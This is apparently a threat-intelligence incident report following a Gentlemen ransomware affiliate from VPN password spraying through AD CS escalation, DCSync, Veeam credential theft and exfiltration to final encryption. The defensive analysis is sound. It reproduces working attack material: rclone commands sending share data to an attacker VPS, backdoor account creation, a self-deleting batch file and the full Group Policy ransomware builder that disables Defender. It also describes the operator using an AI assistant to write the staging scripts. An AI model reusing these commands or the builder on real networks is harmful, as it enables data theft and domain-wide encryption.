breachcache

The Gentlemen: A New Affiliate's Playbook

Mon, 22 Jun 2026 00:00:00 GMT

At a Glance

Dwell time: 3 days
Initial access: SSL VPN credential spraying, a single password against a username pool of more than 115,000 generated names, one account matched
Privilege escalation: AD CS ESC1 then UnPAC the hash to recover the Administrator NT hash
Credential access: DCSync and Veeam configuration database decryption
Persistence: a Domain Admin account disguised as a backup service account
Lateral movement: RDP, Impacket wmiexec, and NetExec across every reachable host
Defense evasion: Microsoft Defender disabled, exclusions added, Security event log cleared
Exfiltration: rclone over SFTP to the threat actor VPS, a second cloud attempt over pixeldrain
Impact: The Gentlemen ransomware staged through Group Policy

Attack Flow

Executive Summary

This intrusion was run by a new affiliate to The Gentlemen who is assessed to have just left the DragonForce group. The affiliate is one of a number of experienced affiliates moving to The Gentlemen from older ransomware operations like DragonForce and LockBit. The steady arrival of skilled affiliates from these operations has driven much of the group's growth over the past year. This blog follows that affiliate across the full intrusion.

Over this three day intrusion a Gentlemen ransomware affiliate gained initial access to the network through the SonicWall SSL VPN. The threat actor obtained the credential by spraying the password Spring2026 from 45.74.59[.]0/24 against a generated username list across more than 150,000 attempts. They validated the working credential and returned through a set of VPS addresses using SonicWall NetExtender.

The threat actor escalated to Domain Admin through an ESC1 attack on Active Directory Certificate Services. They requested a certificate from a template that permitted a user with no administrative rights to specify the subject, set the subject alternative name to a Domain Admin account. The threat actor used that certificate to authenticate as Administrator and recover the Administrator NT hash directly from the resulting ticket. With the hash they ran DCSync against the domain controller and dumped all of the password hashes in the entire domain.

They created a Domain Admin account disguised as a backup service account which was used for the rest of the intrusion. From there they moved to the backup server, disabled Microsoft Defender, and ran a credential decryptor against the Veeam configuration database to recover the stored backup credentials. On the second day they tested read and write access to every host in the domain with NetExec and exfiltrated the file shares with rclone over SFTP to their own VPS. On the third day they deployed The Gentlemen ransomware across the domain through its built in Group Policy deployment module. The payload was delivered to every host in the domain but only encrypted the ones that did not have Microsoft Defender Tamper Protection enabled. On every workstation that kept Tamper Protection enabled Microsoft Defender blocked the payload and quarantined it.

The Gentlemen

The Gentlemen is a ransomware as a service operation that emerged in mid 2025. The first encryptor sample was uploaded to VirusTotal on July 17 2025 and already contained the leak site address. The group began posting victims to its leak site in September 2025. Group-IB assessed The Gentlemen to be a splinter of the Qilin ransomware operation. The administrator who runs The Gentlemen previously ran a Qilin affiliate crew known as ArmCorp and left Qilin after a payment dispute in July 2025 over an unpaid commission. The group advertises across multiple underground forums and recruits "penetration testers" and other skilled actors as affiliates and offers them 90 percent of each ransom payment.

The Gentlemen administrator Zeta88 advertising the RaaS on an underground forum on September 12 2025, inviting pentesters to collaborate and offering affiliates 90 percent of each ransom. Source: Check Point Research.

The group provides its affiliates ransomware builds written in Go for Windows, Linux, NAS and BSD and a separate build written in C for ESXi. Check Point Research and Halcyon documented the encryptor deriving a key with X25519 and encrypting file contents with the XChaCha20 cipher. It appends a random 6 character extension to each file it encrypts and drops a ransom note named README-GENTLEMEN.txt. Verified affiliates also receive tooling to disable endpoint protection and pivot infrastructure for moving through segmented networks.

The Gentlemen runs a double extortion model. The group exfiltrates victim data before encryption and threatens to publish it on a Tor leak site and runs an X account that names victims to pressure them into paying. Negotiations run through the individual affiliate's Tox ID rather than the leak site. Check Point Research recorded over 320 victims on the leak site in April 2026. By mid 2026 the group ranked as the second most active ransomware group behind Qilin. As of June 2026 Ransomware.live tracks 504 victims on the leak site.

Attribution

This intrusion deployed The Gentlemen ransomware. The payload dropped on the encrypted hosts was written in Go and matched The Gentlemen ransomware which Microsoft Defender flagged as Ransom:Win64/Gentlemen.SH!MTB. The ransom note it dropped, README-GENTLEMEN.txt, was The Gentlemen note. The operator who ran this intrusion uses the alias AlexSupp and is assessed to be an ex DragonForce and LockBit affiliate based on data BreachCache collected. How the DragonForce attribution was determined will not be disclosed but it was made with very high confidence.

The operator most likely is Russian speaking. During the operation the operator pasted Russian language comments into their own commands and pasted Russian language AI assistant output into the console. The language points to an operator in a Russian speaking region. The operator also created a persistence account with the password L0ckb1t38217, LockBit in leetspeak. The Supp in the AlexSupp alias follows the same LockBit naming convention seen in LockBitSupp, the alias of the LockBit leader.

Initial Access - Day 1

The threat actor gained SSL VPN access through credential spraying. The spray came from the network range 45.74.59[.]0/24 and ran against the SSL VPN portal over 4433. Every attempt used the password Spring2026 against a different username. The usernames attempted were from a list of common surnames prefixed with a first initial and a first name dot surname which matched the corporate account convention such as the following examples that were collected jhoffmann, b.urban, r.webber, and mshifflett. On the first day of the intrusion there were a recorded 153,455 SSL VPN authentication failures across 115,535 different usernames and the spray kept going at that volume across all three days.

The first use of the valid credential was a validation at the SSL VPN portal at 18:48 UTC from 45.74.59[.]54 which matched a correct user and password combination. The IP authenticated and disconnected 17 seconds later without opening an SSL VPN session. The threat actor returned at 18:53 UTC from 158.94.211[.]14, opened a VPN session into the network, and was assigned an internal address on the user VPN pool. The threat actor used 91.92.242[.]32 and 91.92.243[.]17 across all three days and connected from 91.92.243[.]151 with the hostname WIN-8H6JMQBVGP2 only on day 1.

time="2026-05-29 18:48:11 UTC" m=745 msg="User login denied - LDAP authentication failure" sess="Portal" usr="rcadena@domain.local" src=45.74.59[.]21 dst=4433 proto=tcp/4433

time="2026-05-29 18:48:11 UTC" m=745 msg="User login denied - LDAP authentication failure" sess="Portal" usr="i.aleman@domain.local" src=45.74.59[.]203 dst=4433 proto=tcp/4433

time="2026-05-29 18:48:19 UTC" m=238 msg="WAN zone remote user login allowed" sess="Portal" usr="[redacted]" src=45.74.59[.]54 dst=4433 proto=tcp/4433

Reconnaissance - Day 1

Seconds after the first SSL VPN session opened at 18:53 UTC the threat actor began mapping the network. They ran a TCP SYN scan across the subnet over 445, 88, 389, 636, 135, 53, and 9401 which mapped the live hosts and surfaced the Veeam backup service. Port 9401 is the Veeam Backup Service secure connection port and is commonly seen being scanned during the initial access phase.

In the same session the threat actor enumerated the domain over LDAP against the domain controller and queried the privileged groups and account information. They then tested access by attempting to authenticate to every host in the domain.

The session opened at 18:53:38 UTC and the first scan started under a second later. Due to the speed the full session was likely automated, a first pass that confirms the credential is a valid domain user and measures its level of access to decide whether the target is worth following up on.

The queries mapped the privileged groups in the domain and located the domain controller, and they checked whether the compromised account held membership in any of those groups.

LDAP filter, enumerate the privileged groups
( |
  (objectSid=S-1-5-21-<domain>-512)    Domain Admins
  (objectSid=S-1-5-21-<domain>-519)    Enterprise Admins
  (objectSid=S-1-5-21-<domain>-544)    Administrators
  (objectSid=S-1-5-32-549)             Server Operators
  (objectSid=S-1-5-32-551)             Backup Operators
)

LDAP filter, locate the domain controller
(userAccountControl&8192)

Privilege Escalation - Day 1

At 20:33 UTC the threat actor returned on a second SSL VPN session and ran LDAP enumeration against Active Directory Certificate Services. The queries read the enrollment service object and every certificate template with its enrollment flags and security descriptor which is the enumeration the certipy find command performs. One template was misconfigured for ESC1 and allowed the enrollee to supply the subject of the certificate.

LDAP filter, enrollment service
( objectClass=pKIEnrollmentService )

LDAP filter, certificate templates
( objectClass=pKICertificateTemplate )

Two minutes later at 20:37 UTC the threat actor requested a certificate from that template and set the subject alternative name to upn=administrator@domain.local and the enterprise CA issued it. The certificate authenticated as a Domain Admin account.

At 20:39 UTC the threat actor used the certificate to obtain a Kerberos ticket granting ticket as Administrator through PKINIT (Event 4768, PreAuthType 16, certificate issuer the enterprise CA). Right after they requested a service ticket for the Administrator account to itself with enc-tkt-in-skey set (Event 4769, TicketOptions 0x40810018). The enc-tkt-in-skey flag makes this a user to user request which returns the ticket encrypted with the threat actor's session key and exposes the Administrator NT hash inside it through the UnPAC the hash technique. The discovery, the certificate request, and the authentication map to the certipy find, req, and auth commands.

Credential Theft and Persistence - Day 1

As Administrator the threat actor ran DCSync against the domain controller at 20:40 UTC and replicated the directory secrets (Event 4662) which dumped every password hash in the domain including krbtgt. The escalation from the first certificate request to the full credential dump took under 4 minutes.

Event 4662: Directory Service Access
Account: Administrator
Object: domainDNS (domain root)
Access: 0x100 Control Access
Properties:
  DS-Replication-Get-Changes {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}
  DS-Replication-Get-Changes-All {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}

At 20:45 UTC the threat actor connected to the domain controller over WinRM as Administrator using the recovered hash. The logon spawned wsmprovhost.exe on the domain controller and the threat actor ran the following net commands over that WinRM session to create veeam-backup at 20:46 UTC (Event 4720) and add it to Domain Admins (Event 4728). The name was chosen to look like a legitimate Veeam service account and the threat actor used veeam-backup for the rest of the intrusion.

net user veeam-backup P@ssw0rd /add /domain
net group "domain admins" veeam-backup /add /domain

Veeam Credential Theft - Day 1

At 20:48 UTC the threat actor logged into the domain controller over RDP as veeam-backup and from the domain controller used mstsc.exe to RDP into the Veeam backup server at 20:49 UTC. On the backup server they disabled Microsoft Defender real time protection at 20:51 UTC and began pulling the credentials Veeam stores in its configuration database. The first attempts to dump the credentials with psql did not work and the threat actor spent the next half hour working at it.

The threat actor attempted to recover the credentials with DecryptVeeamEncryptedPasswords, a PowerShell decryptor they copied from their operating host into the veeam-backup Downloads folder and ran first through powershell and then through pwsh against the configuration database. The script is AI generated and its output uses an emoji status marker on every line and color coded Write-Host messages which are markers of LLM produced PowerShell. The script parsed but failed to connect to the PostgreSQL configuration database.

The Veeam Console - Day 1

The threat actor created a second local account named Admin2 on the backup server with the password L0ckb1t38217 and added it to the local Administrators group. The password spells out LockBit in leetspeak and points to the operator following a LockBit playbook.

net user Admin2 L0ckb1t38217 /add
net localgroup Administrators Admin2 /add

From the threat actor's host WIN-8H6JMQBVGP2 they opened a new RDP session into the backup server as Admin2 and launched the Veeam Backup and Replication console. The Veeam services were not running, likely because the script they ran earlier had stopped the Veeam service, so the threat actor started the backup service and the gateway service by hand and queried the service state until the console came up.

net start VeeamBackupSvc
net start VeeamBackupGatewaySvc
sc query VeeamBackupSvc

The threat actor did not recover the Veeam credentials on the first day and logged out of the last SSL VPN session of the day at 21:34 UTC. The full day ran from 18:53 to 21:34 UTC and added up to roughly 51 minutes of connected time.

Return - Day 2

At 08:57 UTC on the second day the threat actor returned and ran the Veeam decryptor on the backup server again through Impacket wmiexec as the built in domain Administrator account, not the veeam-backup Domain Admin they created. The base64 encoded command queried the VeeamBackup database and decrypted the stored passwords to recover svc.backup, the Veeam backup service account credential.

ParentImage:  C:\Windows\System32\wbem\WmiPrvSE.exe
CommandLine:  cmd.exe /Q /c powershell.exe -e JABQAG8AcwB0AGcAcgBlAFMAcQBsAEUAeABlAGMA... -OutputFormat Text 1> \Windows\Temp\LjHFmt 2>&1

Write Access Test - Day 2

At 09:30 UTC the threat actor ran a write access test with NetExec against ADMIN$, C$, and IPC$ on every host in the domain. On each host the test wrote a file with a 10 character random name into the ADMIN$ share which confirmed the threat actor had read and write access to the network shares. The 10 character random file name is how NetExec and CrackMapExec check write access on a share. On every host the test opened the IPC$ share with a 0x3 read and write access mask and bound the srvsvc and svcctl named pipes, the RPC access NetExec and CrackMapExec use to enumerate shares and services. The same test authenticated to the hosts as veeam-backup and the recovered svc.backup and confirmed write access across the network.

Exfiltration - Day 2

The threat actor staged the exfiltration tool by copying rclone.exe into the veeam-backup Downloads folder on the domain controller through the RDP session, then ran rclone config to set up the remotes. They mapped the file shares to network drives over net use at 12:24 UTC and pointed rclone at them.

net use E: "\\fileserver\Share 1" /persistent:yes
net use F: "\\fileserver\Share 2" /persistent:yes
net use H: "\\fileserver\Share 3" /persistent:yes
net use M: "\\fileserver\Share 4" /persistent:yes
net use S: "\\fileserver\Share 5" /persistent:yes

To stage the shares for exfiltration the threat actor pasted AI generated PowerShell commands that built a folder of symbolic links to each share under C:\AllBackups. Each link pointed at a network share so one rclone copy of C:\AllBackups would pull every share at once. The first version the threat actor pasted used invented share names which did not exist so the threat actor ran net view against the file server, copied the share names it returned into an AI assistant and pasted back the corrected version the assistant produced with those exact names. The corrected version includes the Russian comment (с правильными именами) which means with the correct names, the assistant flagging the share names it had guessed wrong in the first version.

RussianEnglish

# 1. Создаём корневую папку New-Item -Path "C:\AllBackups" -ItemType Directory -Force # 2. Создаём символические ссылки (с правильными именами) New-Item -Path "C:\AllBackups\Share1" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share1" New-Item -Path "C:\AllBackups\Share2" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share2" New-Item -Path "C:\AllBackups\Share3" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share3" New-Item -Path "C:\AllBackups\Share4" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share4" New-Item -Path "C:\AllBackups\Share5" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share5"

# 1. Create the root folder New-Item -Path "C:\AllBackups" -ItemType Directory -Force # 2. Create the symbolic links (with the correct names) New-Item -Path "C:\AllBackups\Share1" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share1" New-Item -Path "C:\AllBackups\Share2" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share2" New-Item -Path "C:\AllBackups\Share3" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share3" New-Item -Path "C:\AllBackups\Share4" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share4" New-Item -Path "C:\AllBackups\Share5" -ItemType SymbolicLink -Value "\\fileserver.domain.local\Share5"

The first exfiltration attempt at 12:32 UTC used a remote named waso which resolved to the public cloud file host pixeldrain. The threat actor ran rclone copy against the mapped drives and it failed due to network controls.

rclone copy E:\ F:\ H:\ M:\ S:\ waso:[redacted] --transfers 32 --progress --fast-list

The threat actor switched to a second remote named wabo which was SFTP to 91.92.242[.]32 over 22 which is the same VPS used for the SSL VPN sessions. They ran rclone copy against each mapped drive and the share data left over SFTP between 15:01 and 16:01 UTC to the threat actor's own infrastructure.

rclone copy H:\ wabo:[redacted] --transfers 32 --progress
rclone copy M:\ wabo:[redacted] --transfers 320 --progress
rclone copy S:\ wabo:[redacted] --transfers 320 --progress
rclone copy F:\ wabo:[redacted] --transfers 320 --progress

At 16:06 UTC the threat actor ran Advanced IP Scanner and systeminfo on the domain controller before closing out the day. The threat actor did not deploy the ransomware on the second day. They had exfiltrated the data and mapped the network but had not run the payload. The second day ran from 08:57 to 16:43 UTC and totaled about 3 hours and 26 minutes of connected time.

Data Review - Day 3

The third day opened at 08:13 UTC with the threat actor reviewing the data from the file shares by hand. Over the existing RDP session into the domain controller they went into user profiles across the network over SMB and opened credential files and notes from user desktops, downloads, and documents in Notepad and the browser. They ran Advanced IP Scanner to scan the network again and ran systeminfo. The threat actor spent close to an hour reading the victim data before deploying the ransomware. Between 09:15 and 09:20 UTC they also tried to SSH into the mail server from the domain controller as root, using a few different credentials they obtained during the incident, all of which failed.

Ransomware Deployment - Day 3

At 09:21 UTC the threat actor opened the Group Policy Management console and staged the payload, a Go binary named G_9w5ey0_windows_amd64.exe, then ran it in Group Policy deployment mode with a password argument.

G_9w5ey0_windows_amd64.exe --password [redacted] --gpo

The --gpo mode abuses Windows Group Policy so that a single action on the domain controller would push the payload to every domain joined host. It copied the payload and a cleanup batch file into the NETLOGON share and created two Group Policy Objects linked at the domain root which every host reads at the next policy refresh. The payload then set up its own persistence on each host it executed on, ONSTART scheduled tasks named UpdateSystem and UpdateUser pointing back at the NETLOGON copy along with Run keys.

The cleanup batch file staged alongside the payload paused for a moment, deleted the binary from the NETLOGON share, and then deleted itself, which removed the staged copy once the scheduled tasks had pulled it down to each host.

@echo off
ping 127.0.0.1 -n 3 > nul
del /f /q "\\domain.local\NETLOGON\G_9w5ey0_windows_amd64.exe" >nul 2>&1
del /f /q "%~f0"

The threat actor then ran the payload directly from the domain controller in its share encryption mode against the network shares rather than the scheduled tasks, first with the --shares flag and then again with --no-admin added.

G_9w5ey0_windows_amd64.exe --password [redacted] --shares
G_9w5ey0_windows_amd64.exe --password [redacted] --shares --no-admin

Neither run encrypted the file shares. The file shares are on a Samba file server and veeam-backup was not granted write access to them, so the account could read the shares, which is what the exfiltration used on the second day, but could not write to them, and the --shares mode was not able to encrypt anything on the Samba shares.

Encryption - Day 3

Every time the payload ran it stopped services, added Microsoft Defender process and path exclusions, deleted shadow copies with vssadmin and wmic, killed wbadmin to block recovery, cleared the Security event log, encrypted the host, and dropped a ransom note named README-GENTLEMEN.txt across the system and user profiles. On the domain controller the exclusions, the log clear, and the note all landed within twenty five seconds of the Group Policy push.

The payload ran the service stops through net.exe spawned as a direct child of G_9w5ey0_windows_amd64.exe and stopped 103 distinct services in under one second. The sequence started at 09:25:49 UTC with 2 PowerShell commands that stopped every running virtual machine and the Hyper-V and VMware services. The backup software Veeam, BackupExec, CommVault, Acronis, Datto, and NetBackup went down along with the Windows shadow copy services vss, wbengine, SDRSVC, and swprv. The database services MSSQLSERVER, SQLSERVERAGENT, MSSQL$SQLEXPRESS, MySQL, MariaDB, PostgreSQL, and Oracle were taken down along with the security software Sophos, Symantec, and 360 Security.

powershell -Command "Get-VM | Stop-VM -Force -TurnOff"
powershell -Command "Get-VM | Where-Object State -eq 'Running' | Stop-VM -Force -TurnOff"
net stop vmms
net stop vmcompute
net stop veeam
net stop VeeamBackupSvc
net stop BackupExec*
net stop GxVss
net stop wbengine
net stop swprv
net stop MSSQLSERVER
net stop MSSQL*
net stop MySQL
net stop postgresql
net stop sophos
net stop Symantec*
...

The payload did not get every host. Microsoft Defender detected and blocked the binary as Ransom:Win64/Gentlemen.SH!MTB on every workstation that kept real time protection enabled, flagged the scheduled task, and quarantined the file from the NETLOGON share. Encryption stayed confined to the domain controller and the backup server, where the threat actor had turned Tamper Protection or Microsoft Defender off by hand during the intrusion, and the hosts that already had Tamper Protection off from before the intrusion started. Tamper Protection cannot be turned off through Group Policy or the registry, so the disable command the ransomware pushed was ignored on every host where Tamper Protection was still on, and the payload could only add its exclusions and encrypt where protection was already off.

The ransom note dropped on every encrypted host had the file name README-GENTLEMEN.txt. Below is the note that was dropped.

Negotiation

The ransom note published a single Tox ID for contact. That Tox ID belonged to the affiliate who carried out the attack. The affiliate provided the demand and a second Tox ID for the negotiation itself. The second Tox ID was A4DCA91E7CF7DBBF29250281BE720F0DE793540BFC93611C41797B6BA76E12678185602470FC.

The second Tox ID belonged to a Tox account the group shared across its affiliates. The shared account used the username Gentle admin. The group claims to offer 24/7 support for its "clients" and does this by giving different affiliates access to the Gentle admin account to run the negotiations.

The Ransomware GPOs

The threat actor deployed the ransomware through two Group Policy objects, both created on the domain controller as veeam-backup and linked at the domain root ahead of the default policies. The directory service recorded both as objects of class groupPolicyContainer, windef at 09:22 UTC and WindowsG at 09:25 UTC (Event 5137), and the link added to the domain root and the Domain Controllers organizational unit (Event 5136, gPLink).

WindowsG was built by the ransomware's --gpo deployment mode. Check Point Research documented this mode in April 2026 as a PowerShell routine run on the domain controller that copies the ransomware into the NETLOGON share, creates a Group Policy object with a Group Policy Preferences scheduled task that runs the payload as SYSTEM, and is built to force a Group Policy refresh across the domain so every computer applies it at once. The ransomware is under active development and the build in this intrusion is newer than the one Check Point Research documented. It runs the payload from a standing scheduled task instead of a task that runs once and removes itself. The --gpo script forced the same domain wide refresh that Check Point documented, but the objects did not apply across the network at once, they applied as each host hit its own Group Policy refresh, the first within minutes of the link and the rest over the following hour and a half.

WindowsG also included a Machine registry policy with eight values that turned off Microsoft Defender, DisableAntiSpyware, DisableRoutinelyTakingAction, DisableRealtimeMonitoring, DisableBehaviorMonitoring, DisableOnAccessProtection, DisableIOAVProtection, SpynetReporting, and SubmitSamplesConsent. The mode Check Point documented did not push a Defender policy through Group Policy, which is one of the differences in this later build.

The scheduled task that delivers the payload also differs from the one Check Point documented. That version was a Group Policy Preferences immediate task, an ImmediateTaskV2 which runs once when the policy applies and then removes itself. The task in this intrusion is a TaskV2, a standing scheduled task that stays on the host and fires the payload again on every one of its eleven triggers and on an hourly repeat. This build reruns the payload on a schedule instead of firing it a single time.

The standing task changes the deployment in three ways.

The standing task runs the payload on hosts that were powered off or unreachable when the Group Policy applied, due to the boot and logon triggers firing the payload the next time the host starts or a user logs on rather than only during the forced refresh.
The payload keeps running after the threat actor logs out, due to the Group Policy object and the local task staging the ransomware from NETLOGON on every Group Policy refresh, and on this network the payload ran again from NETLOGON in waves after the last operator session closed.
Removing the ransomware requires deleting the Group Policy object, the NETLOGON binary, and the local scheduled task and Run keys on every host, due to the hourly repeat and the session triggers running the ransomware again against restored or newly written data until all of it is gone.

The eleven triggers recovered from the task XML run the payload at startup, at logon, on idle, when the task registers, on every remote and console connect and disconnect, and on every session lock and unlock, each one set to repeat hourly.

<Triggers>
  <CalendarTrigger/>       daily
  <LogonTrigger/>          at logon
  <BootTrigger/>           at startup
  <IdleTrigger/>           on idle
  <RegistrationTrigger/>   when the task registers
  six SessionStateChangeTrigger:
    RemoteConnect      on RDP connect
    ConsoleConnect     on console connect
    RemoteDisconnect   on RDP disconnect
    ConsoleDisconnect  on console disconnect
    SessionLock        on session lock
    SessionUnlock      on session unlock
</Triggers>

all eleven triggers repeat hourly (PT1H over P1D)

On the hosts that kept Tamper Protection on the disable the GPO pushed was blocked and Microsoft Defender logged Event 5013, so real time protection stayed on and Microsoft Defender quarantined the payload from NETLOGON and the SystemUpdate scheduled task and removed them again on every Group Policy refresh. The standing task fired on every trigger on those hosts, so Microsoft Defender detected the payload and logged Event 1116, and Tamper Protection kept real time protection on so the payload was blocked and the hosts were not encrypted.

Below is the recovered builder, deploy_gpo.ps1, from the domain controller PowerShell logs. The launch password is redacted and the repetitive scheduled task XML is trimmed for length.

Write-Host "[+] Installing required modules..."
try { Import-Module ServerManager -ErrorAction Stop } catch {}
try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
Import-Module ActiveDirectory -ErrorAction SilentlyContinue
Import-Module GroupPolicy -ErrorAction SilentlyContinue

Write-Host "[+] Getting domain info..."
try {
    $Domain = (Get-ADDomain).DNSRoot
    $DomainDN = (Get-ADDomain).DistinguishedName
    Write-Host "[+] Domain from AD: $Domain"
} catch {
    try {
        $Domain = (Get-WmiObject Win32_ComputerSystem).Domain
        $DomainDN = "DC=" + ($Domain -replace '\.',',DC=')
        Write-Host "[+] Domain from WMI: $Domain"
    } catch {
        $Domain = $env:USERDNSDOMAIN
        $DomainDN = "DC=" + ($Domain -replace '\.',',DC=')
        Write-Host "[+] Domain from env: $Domain"
    }
}

Write-Host "[+] Copying locker to SYSVOL scripts..."
$LocalPath = "\\$Domain\NETLOGON\G_9w5ey0_windows_amd64.exe"
$ExeArgs = "--password [redacted]"
Copy-Item -Path "C:\Users\veeam-backup\Downloads\G_9w5ey0_windows_amd64.exe" -Destination $LocalPath -Force -ErrorAction SilentlyContinue
Set-ItemProperty -Path $LocalPath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue

Write-Host "[+] Creating GPO 'WindowsG'..."
New-GPO -Name "WindowsG" -Comment "System Update" -ErrorAction SilentlyContinue | Out-Null
New-GPLink -Name "WindowsG" -Target $DomainDN -ErrorAction SilentlyContinue | Out-Null
New-GPLink -Name "WindowsG" -Target "OU=Domain Controllers,$DomainDN" -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Disabling Windows Defender..."
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName "DisableRoutinelyTakingAction" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableRealtimeMonitoring" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableBehaviorMonitoring" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableOnAccessProtection" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableIOAVProtection" -Type DWord -Value 1 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" -ValueName "SpynetReporting" -Type DWord -Value 0 -ErrorAction SilentlyContinue | Out-Null
Set-GPRegistryValue -Name "WindowsG" -Key "HKLM\Software\Policies\Microsoft\Windows Defender\Spynet" -ValueName "SubmitSamplesConsent" -Type DWord -Value 2 -ErrorAction SilentlyContinue | Out-Null

Write-Host "[+] Creating XML file..."
$TaskName = "SystemUpdate"
$TaskGuid = "{44115BBF-9445-7A25-4F28-E697FB7DEB85}"
$TaskDate = "2026-05-31 05:25:02"
$StartBoundary = "2026-05-30T05:25:02"
$TaskXmlPath = "$env:TEMP\ScheduledTasks.xml"

$xmlContent = @'
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<TaskV2 clsid="{D8896631-B747-47a7-84A6-C155337F3BC8}" name="TASKNAME_PLACEHOLDER" changed="TASKDATE_PLACEHOLDER" uid="TASKGUID_PLACEHOLDER">
<Properties action="C" name="TASKNAME_PLACEHOLDER" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><LogonType>S4U</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals>
<Settings><Hidden>true</Hidden><WakeToRun>true</WakeToRun><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><StartWhenAvailable>true</StartWhenAvailable><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy></Settings>
<Triggers>
<CalendarTrigger><StartBoundary>STARTBOUNDARY_PLACEHOLDER</StartBoundary><ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay><Repetition><Interval>PT1H</Interval><Duration>P1D</Duration></Repetition></CalendarTrigger>
<LogonTrigger/><BootTrigger/><IdleTrigger/><RegistrationTrigger/>
<!-- each trigger repeats hourly; plus six SessionStateChangeTrigger: RemoteConnect, ConsoleConnect, RemoteDisconnect, ConsoleDisconnect, SessionLock, SessionUnlock -->
</Triggers>
<Actions Context="Author"><Exec><Command>LOCALPATH_PLACEHOLDER</Command><Arguments>EXEARGS_PLACEHOLDER</Arguments></Exec></Actions>
</Task>
</Properties>
</TaskV2>
</ScheduledTasks>
'@

$xmlContent = $xmlContent -replace '<?xml version="1.0" encoding="utf-8"?>\n',''
$xmlContent = $xmlContent -replace 'TASKNAME_PLACEHOLDER',$TaskName
$xmlContent = $xmlContent -replace 'TASKDATE_PLACEHOLDER',$TaskDate
$xmlContent = $xmlContent -replace 'TASKGUID_PLACEHOLDER',$TaskGuid
$xmlContent = $xmlContent -replace 'STARTBOUNDARY_PLACEHOLDER',$StartBoundary
$xmlContent = $xmlContent -replace 'LOCALPATH_PLACEHOLDER',$LocalPath
$xmlContent = $xmlContent -replace 'EXEARGS_PLACEHOLDER',$ExeArgs

$utf8NoBOM = New-Object System.Text.UTF8Encoding $false
[System.IO.File]::WriteAllText($TaskXmlPath, $xmlContent, $utf8NoBOM)

Write-Host "[+] Deploying task to GPO..."
$gpo = Get-GPO -Name "WindowsG"
$guid = $gpo.Id.Guid
$GpoScheduledPath = "\\$Domain\SYSVOL\$Domain\Policies\{$guid}\Machine\Preferences\ScheduledTasks"

if (!(Test-Path $GpoScheduledPath)) {
    New-Item -ItemType Directory -Path $GpoScheduledPath -Force | Out-Null
}

Copy-Item -Path $TaskXmlPath -Destination "$GpoScheduledPath\ScheduledTasks.xml" -Force

Write-Host "[+] Updating GPO versions (AD + SYSVOL)..."
$gptPath = "\\$Domain\SYSVOL\$Domain\Policies\{$guid}\GPT.INI"
$gptContent = Get-Content $gptPath -Raw
$gptContent = $gptContent -replace 'Version=\d+','Version=65536'
Set-Content -Path $gptPath -Value $gptContent -Force

Set-GPPrefRegistryValue -Name "WindowsG" -Context Computer -Action Create -Key "HKLM\\Software\\GPOVersionUpdate" -ValueName "Trigger" -Value 1 -Type DWord -ErrorAction SilentlyContinue | Out-Null
Remove-GPPrefRegistryValue -Name "WindowsG" -Context Computer -Key "HKLM\\Software\\GPOVersionUpdate" -ValueName "Trigger" -ErrorAction SilentlyContinue | Out-Null

Write-Host "[+] Registering CSE for Scheduled Tasks..."
$gpoADPath = "CN={$guid},CN=Policies,CN=System,$DomainDN"
Set-ADObject -Identity $gpoADPath -Replace @{gPCMachineExtensionNames="[redacted]"} -ErrorAction SilentlyContinue

Write-Host "[+] Forcing GPO update on all computers..."
try {
    $compgpoupd = Get-ADComputer -Filter *
    $compgpoupd | ForEach-Object -Process {
        Invoke-GPUpdate -Computer $_.name -RandomDelayInMinutes 0 -Force -ErrorAction SilentlyContinue
    }
} catch {
    $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
    foreach ($comp in $comps) {
        Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force } -ErrorAction SilentlyContinue
    }
}

Write-Host "[+] GPO deployment complete!"

Detection and Hunting

Scheduled task with an unusual number of triggers. In the task XML logged by Security 4698 and 4702, count the triggers and flag any task with more than 5. These events are not logged until you turn on the Audit Other Object Access Events subcategory, which is off by default.

